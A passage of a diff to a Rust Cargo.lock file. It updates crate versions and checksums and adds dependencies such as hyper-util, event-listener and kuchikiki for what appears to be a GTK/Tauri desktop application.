"9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" dependencies = [ "block-buffer", "crypto-common", @@ -695,24 +957,37 @@ checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" [[package]] name = "dtoa" -version = "0.4.8" +version = "1.0.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "56899898ce76aaf4a0f24d914c97ea6ed976d42fec6ad33fcbb0a1103e07b2b0" +checksum = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653" [[package]] name = "dtoa-short" -version = "0.3.3" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bde03329ae10e79ede66c9ce4dc930aa8599043b0743008548680f25b91502d6" +checksum = "dbaceec3c6e4211c79e7b1800fb9680527106beb2f9c51904a3210c03a448c74" dependencies = [ "dtoa", ] [[package]] name = "dunce" -version = "1.0.3" +version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0bd4b30a6560bbd9b4620f4de34c3f14f60848e58a9b7216801afcb4c7b31c3c" +checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b" + +[[package]] +name = "embed-resource" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f54cc3e827ee1c3812239a9a41dede7b4d7d5d5464faa32d71bd7cba28ce2cb2" +dependencies = [ + "cc", + "rustc_version", + "toml 0.8.8", + "vswhom", + "winreg 0.51.0", +] [[package]] name = "embed_plist" @@ -722,38 +997,86 @@ checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" [[package]] name = "encoding_rs" -version = "0.8.32" +version = "0.8.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "071a31f4ee85403370b58aca746f01041ede6f0da2730960ad001edc2b71b394" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" dependencies = [ "cfg-if", ] [[package]] +name = "enumflags2" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5998b4f30320c9d93aed72f63af821bfdac50465b75428fce77b48ec482c3939" +dependencies = [ + "enumflags2_derive", + "serde", +] + +[[package]] +name = "enumflags2_derive" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] name = "equivalent" -version = "1.0.0" +version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88bffebc5d80432c9b140ee17875ff173a8ab62faad5b257da912bd2f6c1c0a1" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" -version = "0.3.1" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bcfec3a70f97c962c307b2d2c56e358cf1d00b558d74262b5f929ee8cc7e73a" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ - "errno-dragonfly", "libc", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] -name = "errno-dragonfly" -version = "0.1.2" +name = "event-listener" +version = "2.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "event-listener" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d93877bcde0eb80ca09131a08d23f0a5c18a620b01db137dba666d18cd9b30c2" dependencies = [ - "cc", - "libc", + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener" +version = "4.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "770d968249b5d99410d61f5bf89057f3199a077a04d087092f58e7d10692baae" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "958e4d70b6d5e81971bebec42271ec641e7ff4e170a6fa605f2b8a8b65cb97d3" +dependencies = [ + "event-listener 4.0.0", + "pin-project-lite", ] [[package]] @@ -766,10 +1089,16 @@ dependencies = [ ] [[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] name = "fdeflate" -version = "0.3.0" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d329bdeac514ee06249dabc27877490f17f5d371ec693360768b838e19f3ae10" +checksum = "64d6dafc854908ff5da46ff3f8f473c6984119a2876a383a860246dd7841a868" dependencies = [ "simd-adler32", ] @@ -785,34 +1114,34 @@ dependencies = [ [[package]] name = "field-offset" -version = "0.3.5" +version = "0.3.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3cf3a800ff6e860c863ca6d4b16fd999db8b752819c1606884047b73e468535" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" dependencies = [ - "memoffset", + "memoffset 0.9.0", "rustc_version", ] [[package]] name = "filetime" -version = "0.2.21" +version = "0.2.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5cbc844cecaee9d4443931972e1289c8ff485cb4cc2767cb03ca139ed6885153" +checksum = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0" dependencies = [ "cfg-if", "libc", - "redox_syscall 0.2.16", + "redox_syscall 0.3.5", "windows-sys 0.48.0", ] [[package]] name = "flate2" -version = "1.0.25" +version = "1.0.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8a2db397cb1c8772f31494cb8917e48cd1e64f0fa7efac59fbd741a0a8ce841" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" dependencies = [ "crc32fast", - "miniz_oxide 0.6.2", + "miniz_oxide", ] [[package]] @@ -838,9 +1167,9 @@ checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" [[package]] name = "form_urlencoded" -version = "1.1.0" +version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a9c384f161156f5260c24a097c56119f9be8c798586aecc13afbcbe7b7e26bf8" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" dependencies = [ "percent-encoding", ] @@ -857,24 +1186,24 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "955518d47e09b25bbebc7a18df10b81f0c766eaf4c4f1cccef2fca5f2a4fb5f2" +checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" dependencies = [ "futures-core", ] [[package]] name = "futures-core" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bca583b7e26f571124fe5b7561d49cb2868d79116cfa0eefce955557c6fee8c" +checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" [[package]] name = "futures-executor" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0" +checksum = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc" dependencies = [ "futures-core", "futures-task", @@ -883,42 +1212,73 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.28" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" + +[[package]] +name = "futures-lite" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +dependencies = [ + "fastrand 1.9.0", + "futures-core", + "futures-io", + "memchr", + "parking", + "pin-project-lite", + "waker-fn", +] + +[[package]] +name = "futures-lite" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fff74096e71ed47f8e023204cfd0aa1289cd54ae5430a9523be060cdb849964" +checksum = "aeee267a1883f7ebef3700f262d2d54de95dfaf38189015a74fdc4e0c7ad8143" +dependencies = [ + "fastrand 2.0.1", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] [[package]] name = "futures-macro" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" +checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" dependencies = [ "proc-macro2", "quote", - "syn 2.0.15", + "syn 2.0.39", ] [[package]] name = "futures-sink" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e" +checksum = "e36d3378ee38c2a36ad710c5d30c2911d752cb941c00c72dbabfb786a7970817" [[package]] name = "futures-task" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76d3d132be6c0e6aa1534069c705a74a5997a356c0dc2f86a47765e5617c5b65" +checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" [[package]] name = "futures-util" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533" +checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" dependencies = [ "futures-core", + "futures-io", "futures-macro", + "futures-sink", "futures-task", + "memchr", "pin-project-lite", "pin-utils", "slab", @@ -939,7 +1299,7 @@ version = "0.15.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a6e05c1f572ab0e1f15be94217f0dc29088c248b14f792a5ff0af0d84bcda9e8" dependencies = [ - "bitflags", + "bitflags 1.3.2", "cairo-rs", "gdk-pixbuf", "gdk-sys", @@ -955,7 +1315,7 @@ version = "0.15.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ad38dd9cc8b099cceecdf41375bb6d481b1b5a7cd5cd603e10a69a9383f8619a" dependencies = [ - "bitflags", + "bitflags 1.3.2", "gdk-pixbuf-sys", "gio", "glib", @@ -972,7 +1332,7 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] @@ -989,7 +1349,21 @@ dependencies = [ "libc", "pango-sys", "pkg-config", - "system-deps 6.0.4", + "system-deps 6.2.0", +] + +[[package]] +name = "gdkwayland-sys" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cca49a59ad8cfdf36ef7330fe7bdfbe1d34323220cc16a0de2679ee773aee2c2" +dependencies = [ + "gdk-sys", + "glib-sys", + "gobject-sys", + "libc", + "pkg-config", + "system-deps 6.2.0", ] [[package]] @@ -1001,21 +1375,21 @@ dependencies = [ "gdk-sys", "glib-sys", "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", "x11", ] [[package]] name = "generator" -version = "0.7.3" +version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "33a20a288a94683f5f4da0adecdbe095c94a77c295e514cc6484e9394dd8376e" +checksum = "5cc16584ff22b460a382b7feec54b23d2908d858152e5739a120b949293bd74e" dependencies = [ "cc", "libc", "log", "rustversion", - "windows 0.44.0", + "windows 0.48.0", ] [[package]] @@ -1041,9 +1415,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.9" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c85e1d9ab2eadba7e5040d4e09cbd6d072b76a557ad64e797c2cb9d4da21d7e4" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" dependencies = [ "cfg-if", "libc", @@ -1051,12 +1425,18 @@ dependencies = [ ] [[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] name = "gio" version = "0.15.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "68fdbc90312d462781a395f7a16d96a2b379bb6ef8cd6310a2df272771c4283b" dependencies = [ - "bitflags", + "bitflags 1.3.2", "futures-channel", "futures-core", "futures-io", @@ -1076,7 +1456,7 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", "winapi", ] @@ -1086,7 +1466,7 @@ version = "0.15.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "edb0306fbad0ab5428b0ca674a23893db909a98582969c9b537be4ced78c505d" dependencies = [ - "bitflags", + "bitflags 1.3.2", "futures-channel", "futures-core", "futures-executor", @@ -1122,7 +1502,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ef4b192f8e65e9cf76cbf4ea71fa8e3be4a0e18ffe3d68b8da6836974cc5bad4" dependencies = [ "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] @@ -1133,15 +1513,15 @@ checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "globset" -version = "0.4.10" +version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "029d74589adefde59de1a0c4f4732695c32805624aec7b68d91503d4dba79afc" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" dependencies = [ "aho-corasick", "bstr", - "fnv", "log", - "regex", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", ] [[package]] @@ -1152,7 +1532,7 @@ checksum = "0d57ce44246becd17153bd035ab4d32cfee096a657fc01f2231c9278378d1e0a" dependencies = [ "glib-sys", "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] @@ -1162,7 +1542,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "92e3004a2d5d6d8b5057d2b57b3712c9529b62e82c77f25c1fecde1fd5c23bd0" dependencies = [ "atk", - "bitflags", + "bitflags 1.3.2", "cairo-rs", "field-offset", "futures-channel", @@ -1193,7 +1573,7 @@ dependencies = [ "gobject-sys", "libc", "pango-sys", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] @@ -1212,17 +1592,36 @@ dependencies = [ [[package]] name = "h2" -version = "0.3.20" +version = "0.3.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97ec8491ebaf99c8eaa73058b045fe58073cd6be7f596ac993ced0b0a0c01049" +checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" dependencies = [ "bytes", "fnv", "futures-core", "futures-sink", "futures-util", - "http", - "indexmap 1.9.3", + "http 0.2.11", + "indexmap 2.1.0", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "h2" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1d308f63daf4181410c242d34c11f928dcb3aa105852019e043c9d1f4e4368a" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http 1.0.0", + "indexmap 2.1.0", "slab", "tokio", "tokio-util", @@ -1237,9 +1636,9 @@ checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" [[package]] name = "hashbrown" -version = "0.14.0" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c6201b9ff9fd90a5a3bac2e56a830d0caa509576f0e503818ee82c181b3437a" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" [[package]] name = "heck" @@ -1258,18 +1657,15 @@ checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" [[package]] name = "hermit-abi" -version = "0.2.6" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7" -dependencies = [ - "libc", -] +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" [[package]] -name = "hermit-abi" -version = "0.3.1" +name = "hex" +version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fed44880c466736ef9a5c5b5facefb5ed0785676d0c02d612db14e54f0d84286" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" [[package]] name = "html5ever" @@ -1279,7 +1675,21 @@ checksum = "e5c13fb08e5d4dfc151ee5e88bae63f7773d61852f3bdc73c9f4b9e1bde03148" dependencies = [ "log", "mac", - "markup5ever", + "markup5ever 0.10.1", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "html5ever" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bea68cab48b8459f17cf1c944c67ddc572d272d9f2b274140f223ecb1da4a3b7" +dependencies = [ + "log", + "mac", + "markup5ever 0.11.0", "proc-macro2", "quote", "syn 1.0.109", @@ -1287,13 +1697,24 @@ dependencies = [ [[package]] name = "http" -version = "0.2.9" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa 1.0.9", +] + +[[package]] +name = "http" +version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" dependencies = [ "bytes", "fnv", - "itoa 1.0.6", + "itoa 1.0.9", ] [[package]] @@ -1303,7 +1724,30 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" dependencies = [ "bytes", - "http", + "http 0.2.11", + "pin-project-lite", +] + +[[package]] +name = "http-body" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cac85db508abc24a2e48553ba12a996e87244a0395ce011e62b37158745d643" +dependencies = [ + "bytes", + "http 1.0.0", +] + +[[package]] +name = "http-body-util" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840" +dependencies = [ + "bytes", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", "pin-project-lite", ] @@ -1321,9 +1765,9 @@ checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" [[package]] name = "httpdate" -version = "1.0.2" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" [[package]] name = "hyper" @@ -1335,14 +1779,14 @@ dependencies = [ "futures-channel", "futures-core", "futures-util", - "h2", - "http", - "http-body", + "h2 0.3.22", + "http 0.2.11", + "http-body 0.4.5", "httparse", "httpdate", - "itoa 1.0.6", + "itoa 1.0.9", "pin-project-lite", - "socket2", + "socket2 0.4.10", "tokio", "tower-service", "tracing", @@ -1350,40 +1794,78 @@ dependencies = [ ] [[package]] +name = "hyper" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "403f9214f3e703236b221f1a9cd88ec8b4adfa5296de01ab96216361f4692f56" +dependencies = [ + "bytes", + "futures-channel", + "futures-util", + "h2 0.4.0", + "http 1.0.0", + "http-body 1.0.0", + "httparse", + "httpdate", + "itoa 1.0.9", + "pin-project-lite", + "tokio", +] + +[[package]] name = "hyper-tls" version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" dependencies = [ "bytes", - "hyper", + "hyper 0.14.27", "native-tls", "tokio", "tokio-native-tls", ] [[package]] +name = "hyper-util" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ca339002caeb0d159cc6e023dff48e199f081e42fa039895c7c6f38b37f2e9d" +dependencies = [ + "bytes", + "futures-channel", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "hyper 1.0.1", + "pin-project-lite", + "socket2 0.5.5", + "tokio", + "tower", + "tower-service", + "tracing", +] + +[[package]] name = "iana-time-zone" -version = "0.1.56" +version = "0.1.58" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0722cd7114b7de04316e7ea5456a0bbb20e4adb46fd27a3697adb812cff0f37c" +checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" dependencies = [ "android_system_properties", "core-foundation-sys", "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows 0.48.0", + "windows-core", ] [[package]] name = "iana-time-zone-haiku" -version = "0.1.1" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0703ae284fc167426161c2e3f1da3ea71d94b21bedbcc9494e92b28e334e3dca" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" dependencies = [ - "cxx", - "cxx-build", + "cc", ] [[package]] @@ -1397,6 +1879,16 @@ dependencies = [ ] [[package]] +name = "ico" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3804960be0bb5e4edb1e1ad67afd321a9ecfd875c3e65c099468fd2717d7cae" +dependencies = [ + "byteorder", + "png", +] + +[[package]] name = "ident_case" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1404,9 +1896,9 @@ checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" [[package]] name = "idna" -version = "0.3.0" +version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" dependencies = [ "unicode-bidi", "unicode-normalization", @@ -1414,27 +1906,25 @@ dependencies = [ [[package]] name = "ignore" -version = "0.4.18" +version = "0.4.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "713f1b139373f96a2e0ce3ac931cd01ee973c3c5dd7c40c0c2efe96ad2b6751d" +checksum = "747ad1b4ae841a78e8aba0d63adbfbeaea26b517b63705d47856b73015d27060" dependencies = [ - "crossbeam-utils", + "crossbeam-deque", "globset", - "lazy_static", "log", "memchr", - "regex", + "regex-automata 0.4.3", "same-file", - "thread_local", "walkdir", "winapi-util", ] [[package]] name = "image" -version = "0.24.6" +version = "0.24.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "527909aa81e20ac3a44803521443a765550f09b5130c2c2fa1ea59c2f8f50a3a" +checksum = "6f3dfdbdd72063086ff443e297b61695500514b1e41095b6fb9a5ab48a70a711" dependencies = [ "bytemuck", "byteorder", @@ -1451,34 +1941,36 @@ checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" dependencies = [ "autocfg", "hashbrown 0.12.3", + "serde", ] [[package]] name = "indexmap" -version = "2.0.0" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d5477fe2230a79769d8dc68e0eabf5437907c0457a5614a9e8dddb67f65eb65d" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" dependencies = [ "equivalent", - "hashbrown 0.14.0", + "hashbrown 0.14.3", + "serde", ] [[package]] name = "infer" -version = "0.7.0" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "20b2b533137b9cad970793453d4f921c2e91312a6d88b1085c07bc15fc51bb3b" +checksum = "f178e61cdbfe084aa75a2f4f7a25a5bb09701a47ae1753608f194b15783c937a" dependencies = [ - "cfb 0.6.1", + "cfb", ] [[package]] name = "infer" -version = "0.9.0" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f178e61cdbfe084aa75a2f4f7a25a5bb09701a47ae1753608f194b15783c937a" +checksum = "f551f8c3a39f68f986517db0d1759de85881894fdc7db798bd2a9df9cb04b7fc" dependencies = [ - "cfb 0.7.3", + "cfb", ] [[package]] @@ -1505,20 +1997,20 @@ dependencies = [ [[package]] name = "io-lifetimes" -version = "1.0.10" +version = "1.0.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c66c74d2ae7e79a5a8f7ac924adbe38ee42a859c6539ad869eb51f0b52dc220" +checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" dependencies = [ - "hermit-abi 0.3.1", + "hermit-abi", "libc", "windows-sys 0.48.0", ] [[package]] name = "ipnet" -version = "2.8.0" +version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28b29a3cd74f0f4598934efe3aeba42bae0eb4680554128851ebbecb02af14e6" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" [[package]] name = "itoa" @@ -1528,9 +2020,9 @@ checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" [[package]] name = "itoa" -version = "1.0.6" +version = "1.0.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" +checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" [[package]] name = "javascriptcore-rs" @@ -1538,7 +2030,7 @@ version = "0.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bf053e7843f2812ff03ef5afe34bb9c06ffee120385caad4f6b9967fcd37d41c" dependencies = [ - "bitflags", + "bitflags 1.3.2", "glib", "javascriptcore-rs-sys", ] @@ -1577,21 +2069,22 @@ checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" [[package]] name = "js-sys" -version = "0.3.61" +version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "445dde2150c55e483f3d8416706b97ec8e8237c307e5b7b4b8dd15e6af2a0730" +checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" dependencies = [ "wasm-bindgen", ] [[package]] name = "json-patch" -version = "0.2.7" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb3fa5a61630976fc4c353c70297f2e93f1930e3ccee574d59d618ccbd5154ce" +checksum = "55ff1e1486799e3f64129f8ccad108b38290df9cd7015cd31bed17239f0789d6" dependencies = [ "serde", "serde_json", + "thiserror", "treediff", ] @@ -1602,7 +2095,20 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1ea8e9c6e031377cff82ee3001dc8026cdf431ed4e2e6b51f98ab8c73484a358" dependencies = [ "cssparser", - "html5ever", + "html5ever 0.25.2", + "matches", + "selectors", +] + +[[package]] +name = "kuchikiki" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e4755b7b995046f510a7520c42b2fed58b77bd94d5a87a8eb43d2fd126da8" +dependencies = [ + "cssparser", + "html5ever 0.26.0", + "indexmap 1.9.3", "matches", "selectors", ] @@ -1639,18 +2145,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.141" +version = "0.2.150" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3304a64d199bb964be99741b7a14d26972741915b3649639149b2479bb46f4b5" - -[[package]] -name = "libdbus-sys" -version = "0.2.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "06085512b750d640299b79be4bad3d2fa90a9c00b1fd9e1b46364f66f0485c72" -dependencies = [ - "pkg-config", -] +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" [[package]] name = "libloading" @@ -1663,6 +2160,17 @@ dependencies = [ ] [[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.1", + "libc", + "redox_syscall 0.4.1", +] + +[[package]] name = "line-wrap" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1672,25 +2180,22 @@ dependencies = [ ] [[package]] -name = "link-cplusplus" -version = "1.0.8" +name = "linux-raw-sys" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ecd207c9c713c34f95a097a5b029ac2ce6010530c7b49d7fea24d977dede04f5" -dependencies = [ - "cc", -] +checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" [[package]] name = "linux-raw-sys" -version = "0.3.1" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" 